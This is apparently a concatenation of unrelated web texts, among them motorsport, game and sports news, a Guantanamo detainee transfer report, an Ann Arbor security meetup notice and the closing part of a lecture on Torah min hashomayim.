1905 where a handful of geniuses are transforming science and psychology to wide eyed audiences. There is a glut of people with interesting ideas about everything and a relative scarcity of people who are able to give any of them more than 20 seconds of attention. The theory of everything market is saturated, and a new one is really the exact opposite of what the general public is looking for. Look at what is popular on YouTube and you will get a better idea of what most people are interested in. Food, cats, porn, and gossip about celebrities. You'd be better off making a fake theory about how to exorcise the demons out of your cell phone than you are trying to enlighten the world. Look on the bright side though. As an outsider, you have nothing to lose. No professional sword of Damocles hangs over your head, and you don't have to answer to anyone. Say what you like...see what happens. Learning is guaranteed and it's a fun way to pass the time.Whilst several senior sources suggest that Peugeot have all but committed to the revised vision of LMP1, potentially with a ‘mild hybrid’ prototype for the 2019/ 2020 season, there is, as yet, no confirmation from the company themselves. The latest public statement came over the weekend from Peugeot Sport’s Bruno Famin in an interview with French regional newspaper L’Ouest France: “Nothing’s changed: we have not taken any decision yet. Porsche’s decision to stop its endurance prototype program is both a threat and an opportunity for us. “We are looking at three competitions: endurance racing, rallycross and rallye-raid. Every thing is being looked at. I really can’t tell you today what we will be doing after the Dakar 2018. “Endurance racing is Peugeot and Carlos Tavares’ plan A / lead plan […] with that said, it would not be impossible for us to manage a development programme in endurance racing while racing rally-cross and rally-raid cars” As an aside Famin indicates in the same article that he has concerns regarding the inflation of costs in Rally Raid and sees the absence of regulations limiting development budgets in that branch of the sport as a threat.What ARBSEC is a CitySec-style meetup of information security professionals in Ann Arbor. ARBSEC meets to discuss topics of interest in a non-work, non-vendor setting. Where ARBSEC's current venue is The Bar at 327 Braun Court When ARBSEC is (typically) the first Wednesday of every month. The next ARBSEC is March 6 at 6:00 PM. We'll stay until people get tired of hanging out. We're guessing 2-3 hours. Why We know about ISSA, SEMiSLUG, and SUMIT. Not casual enough. We don't want to hang out in conference rooms. Just a chance to meet other security folks without sitting through a sales pitch. Meetup group helps ensure that you stay most up-to-date on meetings, as well as making it a lot easier for us to organize each event.) (RSVPing to ourhelps ensure that you stay most up-to-date on meetings, as well as making it a lot easier for us to organize each event.)Yooka-Laylee delayed to Q1 2017, E3 2016 trailer 3D platformer needs "a few extra months’ polish." Playtonic Games has released the E3 2016 trailer for its upcoming 3D platformer Yooka-Laylee, which will be showcased for the first time at the convention between June 14 and 16. Yooka-Laylee stars the buddy duo Yooka and Layee, who use an arsenal of special moves to explore and expand 3D worlds filled with collectibles to find, secrets to unlock, and characters to meet. Playtonic also announced a “firm release window” of Q1 2017 for Yooka-Laylee on consoles and PC, delaying it from its previously planned release in October. “After a lot of soul searching and knowing through dialogue with our fans that they value quality and polish above all, we’ve made the difficult decision to lock the release of Yooka-Laylee to Q1 2017,” said Playtonic creative director and MD Gavin Price in a press release. “While we felt confident we could ship the game in October as originally planned, the team has decided that it would like to add a few extra months’ polish to our schedule. Ultimately, this will allow us to release a better game to the thousands of fans who’ve supported us throughout development. “We’re sure some will be disappointed by the prospect of a few extra months’ wait, however the Playtonic team is confident that we’ve made the right decision for the game and that you’ll be pleased with the results when the game arrives early next year.” Watch the E3 trailer below. View a set of screenshots at the gallery.Image copyright Getty Images Image caption New guidelines have been issued advising teenagers to exercise caution playing Pokemon Go Two teenagers playing Pokemon Go late at night in their car in Florida were shot at by a householder who mistook them for burglars, police say. The man said he shot at their car after they refused to stop when he challenged them on Saturday. They were not hurt. He said that earlier he had heard the pair say "did you get anything"? Police in Florida have used the incident as an opportunity to issue guidelines for teenagers and parents on safely playing the game. Police say they received a call from the parents of one of the teenagers when it was noticed later that bullets had caused a flat tyre, News4jax reported. The parent said the teenagers did not realise they were being shot at, and thought that the man was only trying to scare them. The guidelines issues by the Flagler County Sheriff's Office include best practice tips for Pokemon Go players. They advise players to: Be alert at all times and stay aware of their surroundings Not to drive, ride a bike or skateboard while playing Not to trespass, or go on to private property while playing Be aware of "Pokestops" where players could fall victim to crime The sheriff's office also advises parents of Pokemon Go players to: Talk to their children about strangers and set limits on where they can go Be aware of third-party software apps claiming to enhance the gaming experience - because many allow access to sensitive personal data Image copyright EPA Image caption Pokemon Go has taken the US and the rest of the world by storm According to data from SimilarWeb, people are now spending more time playing Pokemon Go than they are on Snapchat, Instagram and WhatsApp. The game has also been installed on more Android smartphones in the US than the dating app Tinder.A group of diverse religious leaders has issued a statement giving strong support and “moral consensus” to a World Bank-initiated effort to end extreme poverty in 15 years. The statement, “Ending Extreme Poverty: a Moral and Spiritual Imperative,” will be formally launched tomorrow at a media teleconference featuring World Bank President Jim Young Kim and representatives of religious groups who drafted it, including Bani Dugal of the Baha’i International Community. “Ending extreme poverty will require a comprehensive approach that tackles its root causes—including preventable illness, a lack of access to quality education, joblessness, corruption, violent conflicts, and discrimination against women, ethnic minorities and other groups,” said the statement, whose authors included representatives of the Baha'i, Buddhist, Christian, Hindu, Jewish, Muslim, and Sikh faiths. “It will also call for a change in the habits that cause poverty—greed and hedonism, numbness to the pain of others, exploitation of people and the natural world,” said the statement. Ms. Dugal, the BIC’s principal representative to the United Nations, said Baha’is were happy to assist in creating the moral narrative for the initiative and to endorse the statement. “In general, faith has the capacity to tap the deepest reservoirs of human motivation and therefore release the collective will and raise the consciousness of the people, in a way that brings the moral dimension of poverty to come to the fore,” said Ms. Dugal. “In the Baha’i view, individuals have a responsibility to assist people living in poverty, but societies and their institutions are responsible for creating the conditions where poverty can be eradicated. “Efforts to fulfil that responsibility and to promote the well-being of all have been blocked largely by the pursuit of self-interest and overall disunity that sadly seems to characterize many of our individual and institutional pursuits today. “What is needed is a new vision of society where cooperation is the dominant mode of social and economic interaction, and where recognition of our underlying oneness and interdependence is firmly upheld,” said Ms. Dugal. The statement emerged from a February 2015 meeting of religious leaders, representatives of faith-based organizations, and Bank officials, which was convened as part of an overall effort by the World Bank Group to bring an end to extreme poverty worldwide by 2030. In his invitation to religious representatives, Dr. Kim explained that “the most sensible and smart plan” for ending extreme poverty “will likely fall short unless we can also capture the moral imagination of people.” The process, which led to the “Moral Imperative” statement, was joined by more than 30 religious leaders and representatives of faith-based organizations, who have pledged to support efforts to end extreme poverty through their programs and work, if not already so engaged. Ms. Dugal said Baha’i communities around the world seek to contribute to the eradication of poverty mainly through efforts at the grassroots level to build capacity through education and other processes, with the goal of enabling individuals everywhere to become protagonists of their own progress and development. “These efforts, which Baha’i communities around the world are currently engaged in, also encourage individuals to consider their social responsibilities towards others,” said Ms. Dugal. “At the national and international levels, we also seek to participate in discourses that emphasize the moral and spiritual dimension of development and social progress.” In addition to Ms. Dugal, tomorrow’s media teleconference is scheduled to include the Rev. David Beckmann, President, Bread for the World; the Rev. Nicta Lubaale, General Secretary, Organization of African Instituted Churches; Ms. Ruth Messinger, President, American Jewish World Service; Dr. Sayyid Syeed, National Director, Islamic Society of North America; and Rev. Jim Wallis, President Sojourners. A Twitter hashtag, #faith2endpoverty, has been designated for the event and its follow-up.The infant was wearing a diaper and wrapped in a towel. Regional police are looking for information from the public after a four-week-old baby girl was found abandoned on a lawn in Halifax. Officers were called out to Quinpool Rd. on Sunday afternoon, where the infant had been found wearing a diaper and wrapped in a towel. Police brought the little girl to the IWK, where she was examined and found to be healthy. Hospital staff and police could not identify the child, and do not know who the parents are. Police say the baby is African Canadian. The Department of Child Services was called, and took the infant into their custody. Anyone with information is being asked to call police, or leave an anonymous tip with Crime Stoppers.Ron Chenoy/USA Today The NFL's top passing pipeline is in the Midwest, in the city once nicknamed the "Crossroads of America." Indianapolis, home to the nation's first Union Station, has fielded a prodigious passing offense powered by two elite quarterbacks and three receivers for what is approaching two decades. The league's most enviable passing succession plan transitioned from Peyton Manning to Andrew Luck at quarterback, and from Marvin Harrison to Reggie Wayne to T.Y. Hilton at receiver. And since 1999, the Colts have ranked in the top five in scoring 10 times, including No. 3 this season. "We knew exactly what we were looking for," said Bill Polian, the architect of the pipeline as the Colts general manager. "We were able to develop a template for each position." Though he inherited Harrison, Polian picked Manning with the No. 1 overall pick in the 1998 NFL draft, and the pairing flourished in 1999, with the veteran receiver topping 1,100 yards in each season until 2006. In 2001, though, Polian selected Wayne at the end of the first round. And from 2004 until 2012, Wayne averaged 1,240 receiving yards per season. But even after Polian's ouster in 2011, new general manager Ryan Grigson selected Luck with the No. 1 pick in the 2012 NFL draft—a no-brainer at the time—but what he did after that pick has defined his success as a GM to this point. "The Indianapolis Colts had 13 years of Peyton Manning and now they've got Andrew Luck. That's potentially 30 years of elite level of quarterback," said former Baltimore Ravens head coach Brian Billick, who is now an NFL Network analyst. "They put their resources around that lead dog to the exclusion of the defense. "My gosh, if I could have gotten that, I'd still be coaching." And by "that," he also means the next star receiver in Indianapolis and the young man who is well on his way to ascending to the same heights as Harrison and Wayne before him. Laying the Groundwork DARRON CUMMINGS/Associated Press In 1995, the Colts finished 9-7 and reached the AFC title game. To get there, they edged the Kansas City Chiefs, 10-7, but were then defeated, 20-16, by the Pittsburgh Steelers. There simply wasn't enough offense to go around, and the Colts front office realized that. Though the Colts had future Hall of Fame running back Marshall Faulk, their leading receiver was Sean Dawkins, who caught 52 passes for 784 yards that season. To break through, they needed a new No. 1 target who could elevate their passing game. And as fate would have it, they got even more than that. With the 19th overall pick in the 1996 NFL draft, then-Colts general manager Bill Tobin selected Marvin Harrison out of Syracuse. He wasn't the biggest (6'0", 185 lbs), but he was quick, clocking 4.38 seconds in the 40-yard dash at Syracuse, and he possessed another key that NBC Sports analyst Tony Dungy highlighted. "You can't bring in a talented athlete who is fast and gets open but only catches it 75 percent of the time," said Dungy, the Colts head coach from 2002 to 2008. "When you're built on throwing, you can't afford drops." AJ Mast/Associated Press An eight-time Pro Bowl selection, Harrison averaged 84.8 catches per season, second all time to Sterling Sharpe, and he holds the single-season reception record with 143 in 2002. No one was more grateful for that than Manning, who developed one of the most dominant connections with Harrison that any quarterback-receiver tandem has ever enjoyed. He and Harrison own the records for completions (953), touchdowns (112) and yards (12,756), decimating NFL secondaries in the process. Though fiercely quiet and private, Harrison mentored his fellow receivers, which Dungy said was vital to the Colts' continuity. It also helps that one coach, Clyde Christensen, has been involved with the passing offense as an offensive coordinator or receivers or quarterbacks coach since 2001. That also happened to be the year the Colts selected Wayne toward the end of the first round. Wayne never topped 1,000 yards at the University of Miami, which boasted a constellation of offensive stars: Clinton Portis and Najeh Davenport at running back, Wayne, Santana Moss and Andre Johnson at receiver, and Jeremy Shockey at tight end. But Polian said Wayne ran better routes than any other receiver in his class and also had "phenomenal hands." "(Longtime offensive coordinator) Tom Moore said, 'We have the most accurate quarterback maybe in history,'" said Polian, now an analyst for ESPN. "'Why do we want someone who can't catch the ball?'" Like Harrison, Wayne was 6'0", though a bit thicker (200 pounds) and a tick slower (4.4 seconds in the 40-yard dash). But Harrison, at least by example, showed Wayne the intricacies of thriving in the Colts offense and exploiting opposing defenses. Colts' Top Wide Receiver By Year Season Receiver Yards TDs 1994 Sean Dawkins 742 5 1995 Sean Dawkins 784 3 1996 Marvin Harrison 836 8 1997 Marvin Harrison 866 6 1998 Marvin Harrison 776 7 1999 Marvin Harrison 1,663 12 2000 Marvin Harrison 1,413 14 2001 Marvin Harrison 1,524 15 2002 Marvin Harrison 1,722 11 2003 Marvin Harrison 1,272 10 2004 Reggie Wayne 1,210 12 2005 Marvin Harrison 1,146 12 2006 Marvin Harrison 1,366 12 2007 Reggie Wayne 1,510 10 2008 Reggie Wayne 1,145 6 2009 Reggie Wayne 1,264 10 2010 Reggie Wayne 1,355 6 2011 Reggie Wayne 960 4 2012 Reggie Wayne 1,355 5 2013 T.Y. Hilton 1,083 5 2014 (through 14 games)* T.Y. Hilton 1,345 7 Bleacher Report "It goes right down the line," Dungy said. "You've got years of, 'Hey, this is how we do it. This is how you practice, study and learn your craft.'" Polian said Harrison and Wayne had a couple of traits in common: high intelligence and strong work ethics. "Marvin and Reggie led the pack in work ethic," Polian said, "and they had the perfect quarterback with them because he was exactly the same way." Though clearly beneficiaries of playing with Manning, Harrison and Wayne would shine in other offenses, Billick said. "Harrison and Wayne are both potential Hall of Fame receivers," Billick said. "Obviously, Peyton Manning was a huge part of that, but I think their credentials could stand on their own. They would be guys that—with another quarterback in another system—would continue to be successful." "We're not that clairvoyant," Polian said of the Colts' success in picking players. "We wanted players who could win and have a good career. If you get eight years, you've been terrifically successful. No one can predict Hall of Fame or longevity." That last part is true of any player on any team, and Indianapolis' fresh new faces of the franchise are no exception. But predicting the future of a healthy Andrew Luck and T.Y. Hilton isn't that difficult. Smoothest of Transitions Michael Conroy/Associated Press During the 2009 offseason, Dungy retired, and Harrison was released. With Manning sidelined with a neck injury in 2011, the Colts started 0-13 and posted a 2-14 record. A day after the regular-season finale, Polian was fired. But the pipeline remained due, in part, to continuity on the coaching and scouting staffs. New Colts head coach Chuck Pagano retained Christensen, and Bruce Arians, who had been Manning's quarterbacks coach from 1998 to 2000, was hired as offensive coordinator. In the scouting department, Grigson retained Tom Telesco, one of Polian's top personnel lieutenants. After Manning left via free agency, the Colts fortuitously landed the No. 1 pick in the 2012 NFL draft, and they selected Luck out of Stanford. That was a relatively easy decision. The next few, though, were considerably harder, as Grigson attempted to reload the Colts offense. David Richard/Associated Press Grigson spent the Colts' second-round pick on tight end Coby Fleener, who starred at Stanford with Luck, then traded into the bottom of the third round. It was with that pick that he unknowingly ensured the future of a position that has been a cornerstone of the Colts franchise since Harrison's arrival. It was by chance that Hilton and Luck ended up in the same draft class, but the diminutive wideout doesn't take for granted the fact that he entered the draft the same year as Luck. "We complement each other," Hilton said of Luck. "For us to have this relationship, coming in together, it's great. Hopefully we can play together for a long time." Polian's son, Brian, was the special teams coordinator at Stanford in 2010 and 2011, so Bill Polian got to see Luck up close. "I said then that he was a 'can't miss,' and I say now that he's clearly the heir apparent to Manning and (Tom) Brady," Polian said. "There's no question about it. All the questions about that have been answered. "The only question is if he is going to play 14 or 15 years like (Manning and Brady). The only thing that will derail (Luck) is injury." As for Hilton, Polian is cautiously optimistic. He recognizes the explosive speed (4.34 seconds in the 40-yard dash), and he sees the route running. He's not sure, just yet, if Hilton's hands are as exceptional as Wayne or Harrison—but then again, few ever have been. "With T.Y., it's the perfect storm," Dungy said. "It's the skill set he brings, combined with the quarterback who can take advantage of that. It's beautiful to watch." Star or System? Tony Dejak/Associated Press After Hilton torched the Houston Texans for 223 yards in a Week 6 victory, Pagano dubbed his budding star receiver "The Ghost." Considering how he often winds up behind defenses seemingly unnoticed, it's as fitting as any nickname in the game. Hilton—true to his personality, true to his roots—embraced the nickname. He did, after all, pick upstart Florida International University over West Virginia University, and the receiver largely dropped into the third round because of a torn quad just before the 2012 NFL combine. His entire football career, to this point, has been shrouded in many ways. "They say everything happens for a reason. I'm very happy," Hilton said. "Lucky me, I ended up here, playing with a great organization." Luck certainly has something to do with it—but it's the player, not the noun. The instant-superstar quarterback leads the NFL in passing yards (4,492) and passing touchdowns (38), with a passer rating of 97.5. But Hilton is a headache himself, according to Texans coach Bill O'Brien. "Go through the list of guys we've gone against," O'Brien said last week, alluding to talented receivers his team faced such as Dez Bryant, Antonio Brown, Jeremy Maclin and A.J. Green, among others. "(Hilton is) right there at the top, in my opinion." O'Brien said one of the maddening things about defending Hilton is his ability to play multiple receiver spots. Colts offensive coordinator Pep Hamilton will line Hilton up all over the field, sometimes motioning him out of the backfield. "It's kind of like…how we move [J.J.] Watt around," O'Brien said. "It's hard to locate him." Luck called Hilton "crafty," noting Hilton's body control and knack for putting up his hands at the last second so he doesn't tip off the defensive back on him. It's one of many things Hilton does deceptively well. The Colts definitely liked Hilton, but they certainly couldn't have projected this sort of success. Otherwise, they wouldn't have made him the 13th receiver taken, 92nd overall. via Stat Milk Though somewhat overlooked coming out of the draft, Hilton arrived in Indianapolis with a pivotal endorsement. Mario Cristobal was a graduate assistant at the University of Miami when Wayne starred there. Cristobal was also the head coach at Florida International when Hilton starred there. So Cristobal gave Wayne a scouting report on Hilton during the 2012 offseason, and the rest, as they say, is history. "Coach Cristobal loves him," Wayne told Colts.com's Kevin Bowen. "He said, 'Man, you got the right guy.'" Cristobal said Hilton was a hard worker who doesn't say much—a man after the veteran Wayne's own heart. Wayne, though, noted that Hilton isn't shy about asking questions and taking notes in meetings. "He's a true professional already," Wayne said. Mostly soft-spoken during an interview, Hilton became most animated when asked what lessons he's learned from Wayne. He highlighted two points: "When your number is called, make sure you're ready," Hilton recalled. "I took it and ran with it." Though he only started one game as a rookie, Hilton notched his first touchdown and first 100-yard game in Week 3, and he finished the season 139 yards shy of 1,000. "Be a professional, be on time, know your role," Hilton paraphrased. "I try to always be a step ahead," Hilton said. Accordingly, Hilton shows up to scheduled meetings 15 minutes early. He's not one to let his success lead to complacency. Michael Conroy/Associated Press Hilton also said Wayne has helped him to learn the nuances of route running. This season, Hilton has focused on coming back for the ball. More importantly, though, Hilton has appreciated Wayne's willingness to help him off the field too. They text often, and they go over the game plan the night before games. "He's a great guy and a great guy to look up to," Hilton said. "I call him my big brother. I enjoy the time I have with him." Truth is, when he was a kid, Hilton created himself in Madden and plugged him into the Colts offense as the slot receiver, with Wayne and Harrison on the outside and Manning as the triggerman, as Jenny Vrentas of Sports Illustrated's The MMQB reported last month. Hilton, 25, insisted he doesn't get caught up in statistics. But his 1,345 receiving yards are fourth-best in the NFL, and he's just 165 yards shy of Wayne's single-season high. He may be nicknamed "The Ghost," but Hilton's not sneaking up on anyone anymore, even though he doesn't feel he's "arrived." "I'm just always trying to get better," Hilton said. "I don't know where I'm at; I don't look at stats. I just make sure I'm there to make the next play."Obama may find it much more difficult now to follow through on his promise to release cleared Guantanamo detainees now that the balance of power in the Senate has shifted to Republicans. Lawmakers could add a provision to an annual Defense spending bill prohibiting the transfer of any detainees from Guantanamo. A recidivism report issued in September by the Office of Director of National Intelligence said that six of the 88 detainees who were released from Guantanamo since President Barack Obama took office in 2009 were confirmed to have re-engaged in terrorism. "I have said it before and I'll say it again, releasing terrorists from Guantanamo Bay endangers our soldiers abroad and our security at home," said Republican Representative Lynn Westmoreland on Monday. "When will the Obama administration realize that releasing Guantanamo prisoners gives terrorists a second chance?" The transfer of al-Odah, 37, to a rehabilitation center in Kuwait comes less than 24 hours after Republicans took control of the Senate for the first time in eight years. (The Department of Defense gave Congress 30 days advance notice of al-Odah's transfer as required by law.) In the lead-up to the contentious midterm elections, several Republican lawmakers called for a moratorium on the administration's efforts to release additional Guantanamo detainees, claiming that they would likely join terrorist groups such as the Islamic State. A low-level Guantanamo detainee who has been held for nearly 13 years at the detention facility was transferred to Kuwait Wednesday morning, the first detainee release since the "Taliban Five" were transferred in a swap for Army Sergeant Bowe Bergdahl, a former prisoner of war. Read more A low-level Guantanamo detainee who has been held for nearly 13 years at the detention facility was transferred to Kuwait Wednesday morning, the first detainee release since the "Taliban Five" were transferred in a swap for Army Sergeant Bowe Bergdahl, a former prisoner of war. The transfer of al-Odah, 37, to a rehabilitation center in Kuwait comes less than 24 hours after Republicans took control of the Senate for the first time in eight years. (The Department of Defense gave Congress 30 days advance notice of al-Odah's transfer as required by law.) In the lead-up to the contentious midterm elections, several Republican lawmakers called for a moratorium on the administration's efforts to release additional Guantanamo detainees, claiming that they would likely join terrorist groups such as the Islamic State. "I have said it before and I'll say it again, releasing terrorists from Guantanamo Bay endangers our soldiers abroad and our security at home," said Republican Representative Lynn Westmoreland on Monday. "When will the Obama administration realize that releasing Guantanamo prisoners gives terrorists a second chance?" A recidivism report issued in September by the Office of Director of National Intelligence said that six of the 88 detainees who were released from Guantanamo since President Barack Obama took office in 2009 were confirmed to have re-engaged in terrorism. Obama may find it much more difficult now to follow through on his promise to release cleared Guantanamo detainees now that the balance of power in the Senate has shifted to Republicans. Lawmakers could add a provision to an annual Defense spending bill prohibiting the transfer of any detainees from Guantanamo. Al-Odah's transfer is significant in that he is the first detainee released after a revamped Guantanamo parole board, made up of senior officials from various government agencies, reviewed his case and determined that he no longer pose a threat to US national security. Previously, al-Odah was considered a "forever detainee," meaning he was either too dangerous to release or the government did not have enough evidence to prosecute him. The board has reviewed the cases of 10 "forever detainees" since it got back to work last year. "In making this determination, the Board noted the detainee's low level of training and lack of a leadership position in al Qaeda or the Taliban," the board, formerly known as the Periodic Review Board, concluded on July 14. "The Board considered the detainee's personal commitment to participate fully in the Government of Kuwait's rehabilitation program and comply with any security measures, as well as the detainee's extensive family support." Al-Odah's father, Khalid, was a pilot in the Kuwaiti
. God’s speech to us and our response to God. Meanings lie in language. We would not find them anywhere else. That is why Judaism is the supreme example of a religion of language and, therefore, of meaning. If we do not find God in the Torah, we will not find Him anywhere else. I challenge anyone to oppose that. In Torah, God speaks to man and asks Ayeka? Where are you? We speak to God and ask God – Where is He? And in that dialogue between earth and Heaven, Judaism lives. Now, just bear with me. (I have got to get to the end of this: nearly there, almost there.) And now I can begin to answer the question: What is Torah min hashomayim? I said to you in a previous lecture that we have three metaphors. The Bible uses three metaphors to describe our relationship with God, each of which is necessary. Because each of which captures something that the others do not. Metaphor 1: Adon and eved. Master and servant. As when God says, ki li bnei yisrael avadim, avadei hame. The Children of Israel are My servants. That is, God is the mo’ach, the owner, the supreme power, and we are His subjects. That is number one. Number two, the image of husband and wife, that wonderful image in Isaiah, in Jeremiah, above all in Hosea. Ve’erastich li le’olam. I will betroth you to Me for ever. And, finally, beni bechori yisrael. God is a parent: we are His children. Those are the three metaphors. And each metaphor gives us an understanding of what is Torah min hashomayim. Here is the first one. Husband and wife. Let us take husband and wife. I said to you in a previous lecture that marriage for Judaism is the supreme example of a relationship which binds us to somebody else while respecting the dignity and independence of that other person. It is a covenant not of power or manipulation but of love. Now, when you get married, you use language in a special way. Here it is. When I say the following words, “I promise” – what am I doing? I am not merely describing a promise, I am making a promise. It was J. L. Austin, the Oxford philosopher, who called this “the perfomative utterance”. Speech used to create something and specifically to create a moral bond. As a husband does to his wife under the chuppah and says, Harei at mekudeshet li betabat zu kedat Moshe beYisrael – that is doing a marriage. It is not talking about it: it is doing it. Doing things with words. The first fundamental proposition of Torah min hashomayim is that at Mount Sinai God said Harei at mekudeshet li – Behold you are betrothed to Me as a people and this will be your marriage contract. The Torah is the marriage contract between God and the Jewish people. The Torah is not just a book. It is functionally equivalent to a wedding ring. In other words, so long as we have it, God is still bound to us and we are bound to Him. That is the first metaphor. Husband and wife. The second metaphor: it is a political metaphor. God is master, we are His servants. (I’ll make this very short.) The Torah is exactly to the Jewish people what the Declaration of Independence and the Constitution of America is to the United States. The Torah is as adon and eved, the written constitution of the Jewish people as a nation under the sovereignty of God and that is the Torah. It is a constitutional document, a political document, the first ever written constitution of any country whatsoever. That is the whole Torah, the five books of Moses, all of which fit exactly what George Mendenhall has discovered is the treaty formula in the ancient Near East. The whole Torah is a constitutional document establishing us as citizens of the Republic of Faith. Thirdly, the most poignant of all: God as a Father, as a parent. What happens to parents? They have to learn that sometime or other kids are going to leave home. And what do you give them? First of all you have got to give them space. But, secondly, you give them a reminder that even though you and I are going to be living a long way apart, I want you to remember me – namely – a letter, something or other. That is the third definition of Torah min hashomayim. It is God’s letter to us. His way of saying : While our paths may diverge, there may be times when I am a long way away – read this letter I have written you and then I will be there with you. That is the most poetic concept of Torah min hashomayim – God’s letter as parent to a child. That is how Jews survived for 2000 years in exile, without ever once feeling abandoned by God because, so long as the Torah was with them, God was with them. That was His letter. That was the kol gadol velo yasaf –the great voice of Sinai that never ended. And that was the drama of the kol demama daka. That voice that we could hear if we listened hard enough. Wherever they were in Eastern Europe, in Spain, in Yemen – wherever they were, when they read Torah they heard the voice of God and they knew we were together. That is the three meanings of Torah in Judaism. It is not a conventional text at all. The Torah is not like a book you find in a library. It is: (1) Like a photograph or a letter from a father to a child. (2) The wedding ring between husband and wife. (3) The constitution which forms Israel as a nation under the sovereignty of God. What all those metaphors have in common is that they establish a relationship between God and His beloved, if sometimes obstinate and thoroughly wayward, people. That is the meaning of Torah min hashomayim. The words through which God binds Himself to a people and the people bind themselves to God. What is Torah? Torah is the world we enter when, through an act of active listening, we hear the voice of God. In other words, to put it more accuately, the real principle should not be called ‘Torah from Heaven’. The principle should be called ‘Heaven from Torah’. That is what Torah min hashomayim is. Holy words, the words in which God binds Himself to us. But I have to just tell you that there is another act of this drama and it will be all skewed if I don’t tell you this. Here it is. You know that in general in Judaism there is a move, across time, from God being very active and the Israelites being very passive to the Israelites becoming active and God being further away in the scene. That you will see, whichever perspective you look at. But if you look at the various convenants you will see it very simply. What were the first covenants God made with Noah, with Abraham, with Jacob? In those three cases it is God Who is doing all the talking and Noah, Abraham and Jacob do not have to do very much. Look at the later covenants – the one made by Joshua, in Joshua Chapter 24. Or by Josiah. Or by Ezra, when they came back from Babylon. Who was taking the initiative? Human beings. God does not play a part in that at all. So there is a move from God’s action to human action, and here in the middle is Mount Sinai. When God speaks and the people answer and that covenant could be formed only through mutuality. So we move from a world in which God speaks to a world in which there is dialogue between God and humanity, to a world in which human beings speak and God listens but He doesn’t speak. This gave rise to the most extraordinary drama of all. We know that, over time, it may have taken as long as a thousand years, Tenach was canonised. First the Mosaic books. Then the prophetic books. And then the Ketuvim. And that took centuries and centuries to happen. But what then happens is that when the biblical canon is closed, when we have a book called Tenach and there are going to be no more additions, the whole of Judaism moves into a new key. What does it move from? It moves from revelation to – – What do the rabbis do? Interpret. So Judaism shifts from revelation to interpretation. From divine speech to human decoding of that speech. From passive recipience to active interpreters. And that is the change from the world of the prophets to the world of the sages. It is that point, when God has moved back to allow space for man to grow, that the human role in revelation takes on its greatest dignity. And you know how it takes on its greatest dignity? I have to tell you the story even though you all know it by heart, the story of the tanur shel achnai. In Baba metzia, daf nun tes, amud beis it goes as follows. In the old days people cooked outside – if you lived in Israel. I don’t advise this in England. They cooked outside. You probably know, because we are getting near Pesach and koshering, that you cannot kosher an earthenware vessel and you cannot purify one either. What do you have to do with it? You have to smash it. Now imagine the following situation. Here you are, living in Israel, you have got a nice cooker outside in the courtyard and if a dead insect falls in it, it is tameh, it is impure so you have got to smash it. Even if somebody is trying to cook a meal, you have to keep smashing the oven and get another oven. I mean, it’s crazy! So somebody invented a labour-saving device called ‘the pre-smashed oven’. Brilliant thing! It came in pieces. You put sand between the pieces. You made it. If it was impure you took it apart again and you put it together again. A pre-smashed oven. Rebbe Eleazar said: “Great!” The other sages said: “No! Too easy. Forget it. “- and you know that there was then a major debate. Rebbe Eleazar said, “I’m right! Believe me, Reb Eleazar ben Hircanos. I’m not a shlemiel! I’m right! If I am right, this tree will prove it.” And the tree that was in the courtyard shot into the air, one hundred feet – and some say four hundred feet! The sages said to Eleazar ben Hircanos: “We are talking about cookery, impurity. You think you can bring a proof from a tree? What’s a tree got to do with the argument?” So, Eleazar says: “If I am right, this river will prove it.” And immediately the river started flowing uphill. And they said: “You can’t bring a proof from a river.” So he said: “If I am right, the walls of this Beit Midrash will prove it.” And immediately the walls started falling down. Rabbi Akiva got up and said: “Walls, if two rabbis are having an argument, what has it got to do with you?” And so, out of respect for Rabbi Akiva they didn’t fall down. Out of respect for Rabbi Eleazar they didn’t stand up straight, and they remain leaning to this day. Finally, Eleazar said, “If I am right, a voice from heaven will prove it.” And down comes a voice from heaven saying, ma lechem … Rebbe Eleazar shelo te’. bekol makom? – What have you got against Rebbe Eleazar? Surely you know that the law is like him in every case? And Rav Yehoshua stands up and looks to heaven and says: “You already gave us the Torah, Rebono shel olam and in Your Torah you wrote Lo beshomayim hi! – The Torah isn’t made in heaven! It’s made down here on earth! You’re outvoted! You and Eleazar against half-a-dozen rabbis: the half-a-dozen rabbis win. And at that moment they outvoted the Almighty. Says the Gemara, one of the rabbis met Elijah. You know that Elijah was the guy who moved from heaven to earth. He said to Elijah: “Tell me, Elijah, what did the Almighty say when He was sitting in the heavenly yeshivah and he heard that he had been outvoted by the rabbis?” And Elijah says: Kochayich ve’omar nischoni bnei. The Almighty sat there like a Jewish father, shlepping naches. Smiling, and says: “My children are cleverer than I am.” It is at that moment when Torah shebichtav moves into Torah she ba’al peh – the written Torah moves into the spoken Torah – when revelation moves into interpretation – that human beings reach a height and a dignity that they had never had in any other religion in mankind. And that is the key second movement of that drama. I.e., I have explained to you all along that Judaism is about making space for otherness and that is how God makes space for us. By ending prophecy, giving us the power to interpret – or, strictly speaking, at least from the eved-adon model, what Jews then become is the American Supreme Court. They are not a legislature but they are a judiciary and rabbis can interpret the written constitution as they see fit, as do Justices of the American Supreme Court. And there it is. That is what the two movement drama of Torah from Heaven is. Therefore, I hope I have given you something of this drama, that Judaism – out of everything in this created world – says kedusha belongs to language. That the most significant religious experience is the dialogue between Heaven and earth, which we now call Talmud Torah – learning Torah. Because when we learn Torah we enter into that I/thou relationship with the Almighty. We hear His voice and we assimilate it and we interpret it. That is why Judaism has – and I don’t know if you have ever noticed this – How many commands do we have in Judaism? Oh, the restaurant in Wigmore Street! Free advertising here! You would have thought that a religion with 613 commands has a word that means ‘obey’. The whole of Hebrew does not have a word that means ‘obey’. Did you know this? What is the verb that the Bible uses instead of ‘obey’? Lishmoa. Shma Yisrael. And you know that Shma means not ‘to obey’: it means ‘to listen’, ‘to hear’, ‘to internalise’, ‘to understand’, ‘to respond’. There is no English word that means what the Hebrew word Shma means. The King James Bible invented a word for the purpose. They verb that they chose was ‘to hearken’. But now, nobody hearkens any more so the English translators of the Bible don’t know what to do with this verb. They don’t. I mean, they translate it as ‘obey’, but it absolutely does not mean obey. Because the Almighty never imposes himself on us. He asks us to be active shapers of His word through listening, interpreting, responding. And that is Shma. And that is why the key mitzvah of Judaism is to listen because that which is holy is sound. We are a culture of sound, not a culture of sight. Friends, I have tried to explain to you what it is to believe in Torah min hashomayim. Or, more precisely, what it is to read Torah covenantally. To encounter Torah as a covenantal document is not to read a book. It is to be addressed. To be called. To be summoned. To listen. And to listen within those words to the kol demama daka. The voice of God, reaching us from the vastness of space and through 4000 years of history, the voice that we hear – if only we have the courage to listen. Thank you. [Applause] Jodie Cohen: Thank you, Chief Rabbi. I am sure everyone will agree that 